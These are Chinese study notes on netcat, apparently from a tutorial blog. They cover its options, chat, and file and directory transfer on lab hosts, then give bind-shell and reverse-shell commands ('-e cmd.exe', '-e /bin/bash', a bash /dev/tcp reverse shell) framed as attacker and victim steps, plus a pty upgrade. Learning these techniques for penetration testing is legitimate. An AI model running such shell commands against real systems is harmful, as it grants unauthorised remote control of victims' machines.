NC学习笔记

搭配这个视频链接使用更佳
https://space.bilibili.com/439906928/channel/seriesdetail?sid=231485

基础概念

nc是什么?

nc全称netcat,是借助tcp/ip连接来传送数据的一个工具,有tcp/ip连接的瑞士军刀美称。

nc有哪些功能

nc的主要功能有获取banner信息,远程控制,传输文件,端口扫描等功能,甚至能当聊天工具

nc的基本用法

  1. connect to somewhere:连接至某个主机–nc的客户端

nc [-options] hostname port[s] [ports] …

2.listen for inbound:侦听—nc的服务端

nc -l -p port [-options] [hostname] [port]

-l 侦听模式

-p 指定监听端口

对上面命令的解释

-c 针对命令的传送,在后面能看到例子
-e 和-c一样的
-b 允许广播
-g 设置路由器通信网关数量,最多设置八个
-G 设置来源路由指向器,其数值为4的倍数。
-h 帮助信息
-i 延迟几秒,通常用户发送以及扫描端口
-k 设置keepalive选项
-l 监听模式
-n 直接使用ip而不是使用域名
-0 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p 设置本地主机使用的通信端口
-r 乱数指定本地与远端主机的通信端口
-q 传输结束后几秒断开
-s 设置本地主机送出数据包的IP地址
-T 设置服务类型
-t 回应telnet协商
-u 使用UDP传输协议
-v 显示详细信息
-w 设置等待连线的时间。即超时秒数
-C 结束
-z 使用0输入/输出模式,只在扫描通信端口时使用

nc作为一个聊天服务器

主机1的地址假设为192.168.195.76,使用以下命令

nc -l -p 2226

主机2使用以下命令

nc -nv 192.168.195.76 2226

然后两边就能进行聊天了。

上面功能的扩展,就可以用于远程计算机的电子取证。

先说上面右边机器最下面一行的含义

ls | nc -nv 192.168.195.6 2226 -q 1

这行命令的含义是将ls命令传输给nc,nc再传输给远端的192.168.195.6那台机器。-q的含义是传输结束后等待多长时间断开。

左边这台机器

nc -l -p 2226 > ls.txt

nc通过输出重定向到ls.txt文件中

NC传输文件

右边这条命令的意思是将etc下面的resolv.conf文件传输只接收端。<表示输入重定向

接收端的命令含义是接收文件然后输出重定向

三台主机使用nc传输文件

中间这台xp主机的命令是需要管道符的,需要将接收到的数据再转发出去,整体应该是像下面这条命令

nc -lnvp 12306 | nc -nv 192.168.195.29 12306

NC实现远程控制

    -c shell commands       as '-e'; use /bin/sh to exec [dangerous!!]-e filename             program to exec after connect [dangerous!!]

上面命令是在nc连接成功后,可以运行指定的命令

正向连接:攻击者连接受害者

在受害主机(xp)上执行命令

nc -lnvp 12306 -e cmd.exe

上面命令的含义是,将cmd程序反弹到12306端口上去。

在控制主机(kali)上执行

nc -nv 192.168.195.32 12306

上面的ip是受害主机的ip,这样会拿到受害主机的shell。

反向连接:受害者连接攻击者

受害主机:kali

nc -lnvvp 12306 -e /bin/bash

攻击主机:xp

nc -nv 192.168.195.76 12306

这种情况下,不是交互式的shell,可以通过输入以下内容来升级为交互式shell

python -c 'import pty;pty.spawn("/bin/sh")'

NC传输目录

tar命令是用来进行打包的,本身nc是不能传输目录的,但是我们可以对内容进行打包后传输

对exam文件夹进行打包

tar cf exam.tar exam

在发送端输入

tar cf - exam | nc -nv 192.168.195.29 12306

接收端

nc -lnvp 12306 | tar xf -

整个过程就是先打包,发送给nc,另一边nc接收后解压显示。

NC建立反弹式连接(适用于受害主机开启了防火墙的情况)

让攻击者(kali)处于监听状态

nc -lnvvp 12306

让受害者(xp)主动连接攻击者

nc -nv 192.168.195.76 12306 -e cmd.exe

使用python建立反弹式shell

攻击者处于监听状态

nc -lnvvp 12306

受害者linux主机

平时使用的时候只需要修改ip地址以及端口即可

使用bash建立反弹式shell

攻击者处于监听状态

nc -lnvvp 12306

受害者

bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1

一个实例

bash -i >& /dev/tcp/192.168.195.76/12306 0>&1

对上面命令的几个解释

  1. bash -i 表示打开交互式命令

  2. &符号用于区分文件和文件描述符>

>& + 文件:&符号后面跟文件时,表示将标准输入输出和标准错误输出重定向至文件

>& + 数字:&符号后面跟数字时,表示后面的数字时文件描述符,不加&符号则会把后面的数字当成文件

3.文件描述符

0 标准输入重定向

1 标准输出重定向

2 标准错误输出重定向

4./dev目录下的tcp和udp是linux中的特殊设备,可用于建立socket连接,读写这两个文件就相当于是在socket连接中传输数据

>& /dev/tcp/攻击端IP/攻击端监听端口

表示将表示将标准输出和标准错误输出重定向到攻击机(这时目标机的命令执行结果可以从攻击机看到)

0>&1

表示将标准标准输入重定向到了标准输出-攻击机,从而可以通过攻击机输入命令

netcat(NC)学习笔记-nc命令基础解释以及基础使用--包含使用nc获取shell相关推荐

  1. Python快速编程入门#学习笔记01# |第一章 :Python基础知识 (Python发展历程、常见的开发工具、import模块导入)

    全文目录 ==先导知识== 1 认识Python 1.1.1 Python的发展历程 1.1.2 Python语言的特点 2. Python解释器的安装与Python程序运行 1.2.1 安装Pyth ...

  2. [原创]Saltstack学习笔记:命令参数详解以及配置文件说明

    很久没有更新saltstack的文章了,今天还是来更新一点,又开始对saltstack复习了一下. 前边写了一点<saltstack入门概述(1)>以及<Saltstack如何安装( ...

  3. HiveQL学习笔记(二):Hive基础语法与常用函数

    本系列是本人对Hive的学习进行一个整理,主要包括以下内容: 1.HiveQL学习笔记(一):Hive安装及Hadoop,Hive原理简介 2.HiveQL学习笔记(二):Hive基础语法与常用函数 ...

  4. 学习笔记:Java 并发编程①_基础知识入门

    若文章内容或图片失效,请留言反馈. 部分素材来自网络,若不小心影响到您的利益,请联系博主删除. 视频链接:https://www.bilibili.com/video/av81461839 视频下载: ...

  5. MOOS学习笔记3——命令行

    MOOS学习笔记3--命令行 例程 /** * @code A simple example showing how to use a comms client问问怎么样 */#include &qu ...

  6. PyTorch学习笔记(四):PyTorch基础实战

    PyTorch实战:以FashionMNIST时装分类为例: 往期学习资料推荐: 1.Pytorch实战笔记_GoAI的博客-CSDN博客 2.Pytorch入门教程_GoAI的博客-CSDN博客 本 ...

  7. 【Java】Java学习笔记(2)——Java面向对象基础作业函数题

    本人私人博客:Megalomania,大部分文章会现在博客上传,有不足之处欢迎指正. 学校小学期Java课程的练习题,留个档便于以后需要时候有例子可以回忆,写的烂的地方请多多包含 1.求两个数值之和 ...

  8. 命令行参数tail c语言,osg学习笔记2, 命令行参数解析器ArgumentParser

    php简单实现socket通信 socket通信的原理在这里就不说了,它的用途还是比较广泛的,我们可以使用socket来做一个API接口出来,也可以使用socket来实现两个程序之间的通信,我们来研究 ...

  9. 数字图像处理学习笔记之一 DIP绪论与MATLAB基础

    写在前面的话 数字图像处理系列的学习笔记是作者结合上海大学计算机学院<数字图像处理>课程的学习所做的笔记,使用参考书籍为<冈萨雷斯数字图像处理(第二版)(MATLAB版)>,同 ...

最新文章

  1. Netbeans ClassFormatException: Invalid byte tag in
  2. C# 9.0中的新增功能 - 译
  3. 使用多窗体时, 关于节约内存和加快启动速度的思考与尝试
  4. VTK:几何对象之Triangle
  5. python的argparse模块
  6. CSS 伪类(Pseudo-classes)
  7. 百万级MySQL的数据量,该如何快速的完成数据迁移?
  8. wps for linux字体缺失,wps for linux 字体库缺失问题的解决办法
  9. java---金额中文大小写实时转换小程序
  10. 2022年下半年(软考高级)信息系统项目管理师报名条件
  11. Element UI的数据表格数据检索方法
  12. Pollard‘s rho大数分解算法
  13. 计蒜客 god of gambler
  14. DRF 3.x Throttling 节流使用示例和配置方法
  15. 千纸鹤(小纸片)全套源码
  16. Android 10.0 进入recovery模式(等待用户选择recovery模式界面)实现自动恢复出厂设置
  17. 算法设计与分析--昆虫繁殖
  18. 快消品行业SCM供应链协同系统提高企业管理效率,驱动企业业务增长
  19. 数论小白都能看懂的平面凸包详解
  20. 网上阅卷软件测试初学者,如何对网上阅卷系统的进行比较测试

热门文章

  1. PostgreSQL使用PgAdmin导入数据
  2. VSCode 返回上一个光标 (上一个浏览位置)
  3. AI绘画能取代设计师吗?
  4. SAP 移动价(V)与标准价(S)
  5. 微信公众号历史消息栏设置
  6. 如何使用 Yahoo! Finance stock API 获取股票数据
  7. 【LearningChain】WhenMachineLearningMeetsBlockchainADecentralizedPrivacy-preserving and SecureDesign
  8. 怎么看R语言是不是在运行_五个方法,教你怎么看自己电脑的硬盘是不是固态硬盘?...
  9. 几款支持国标GB28181的平台以及视频监控设备接入的配置方法(Web端无插件播放)
  10. 计算机组装与维护集体备课,浅谈集体备课